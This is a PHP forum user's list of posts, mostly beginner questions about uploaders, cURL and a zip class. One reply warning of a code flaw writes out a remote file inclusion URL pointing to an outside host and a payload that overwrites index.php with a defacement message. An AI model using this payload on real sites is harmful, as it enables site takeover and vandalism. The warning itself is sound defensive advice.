tarun
-
Posts
321 -
Joined
-
Last visited
Never
Posts posted by tarun
-
-
You Could Use Ajax...?
-
This Works As Mentioned By "chigley" And "pocobueno1388 "
<?php foreach($_POST as $key => $value) { } ?>
Is There A Way How I Can Make It More Advanced Since At The Moment It Uses All The $_POST Variables
How Do I Do It So It Only Uploads Fields With file_1 , file_2, file_3 etc. Up To An Unlimited Amount
-
Yes I Know
However I Shall Try Again
-
What About If You Have A Free-Webhost And URL File Access Is Disabled Is There Around It..
-
Forgive Me If This Reply Makes No Sense But I Didn't Read The Whole Thing
Anyway,
Its Just Hotmail's Spam Filter Mistaking (Or Perhaps Not) For A Spam Email
-
Unfortunatley None Of These Methods Worked
The First Two Provided No Output And This:
<?php $index=1; while($_POST["file_".$index]<=10){ echo "File $index Uploaded<BR>\n"; $index++; } ?>
Just Listed An Everlasting List Of Numbers. eg.
File 1 Uploaded
File 2 Uploaded
File 3 Uploaded
File 4 Uploaded
File 5 Uploaded
etc.
-
Basically Ive Got Lots Of POSTs For A Multi-File Uploader
It Needs To Run Through All The POST Variables
eg
file_1
file_2
file_3
etc.
I Would Think It Could Be Done With for Or foreach
But Im Not Sure How So If Anyone Does Or Can Point Me In The Write Direction Please Post A Message Here
K Thnx
-
I know how to upload files through the POST method very well
but for EDUCATIONAL purposes i would like to know how to do it using GET
Thnx,
Tarun
-
Yh I Actually Meant After That But Oh Well lol
-
And What Should I Do After Doing That
-
Thnx For The Advice Ive Deccided To Use Another Class (Which Has More Features)
CheerZ,
Tarun
-
Oh...
Do You Know What I Should Do?
Thnx,
Tarun
-
Also Check
www.w3schools.com
-
Not Found
The requested URL /Connections/userlogin.php was not found on this server.
The File Has To Exists To Be Able To "Require" It - I THINK...
-
PHP version 4.4.1
Thnx,
Tarun
-
Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /home/www/tpatelphp.awardspace.com/custom/createZip.inc.php on line 11
01. <?php 02. 03. /** 04. * Class to dynamically create a zip file (archive) 05. * 06. * @author Rochak Chauhan 07. */ 08. 09. class createZip { 10. 11. public $compressedData = array(); 12. public $centralDirectory = array(); // central directory 13. public $endOfCentralDirectory = "\x50\x4b\x05\x06\x00\x00\x00\x00"; //end of Central directory record 14. public $oldOffset = 0; 15.
Can't Figure Out The Problem With It
If This Helps Its From The PHP createZip Class
-
And do you happen to know how too
it would be greatly appreciated
-
Topic Title Says It All
And Is It Even Possible
-
HOLD ON
Ive Just Run A cURL Test And It Turns Out That
AwardSpace.com Has Disabled cURL
-
Thnx But Have You Got Any Examples Of What Im Looking To Do As Im Fairly New To PHP
-
Yep I Could Something Like:
pages.php?page=http://www.h4ck.com/phpinjection
The phpinjection.php:
<?php $entry_line="Ahaha. Hacked by a scipt kiddy."; $fp = fopen("index.php", "w"); fputs($fp, $entry_line); fclose($fp); ?>
Hmmmm.... Seriously Re-Write Your Code
-
Is There Or Could You Provide An Example Please
Thnx,
Tarun
-
Well...
I Saw Something Like This
submit.php?field1=test&field2=data&url=http://www.externalwebsite.com/handler.php&method=_post
I Was Just Wondering How To Do It
Any Help...?
Thnx,
Tarun
-
To Be Honest I Don't Understand
Could You Provide An Example Please
Cheers...
html addition
in HTML Help
Posted
Just Some Simple JS Will Do The Trick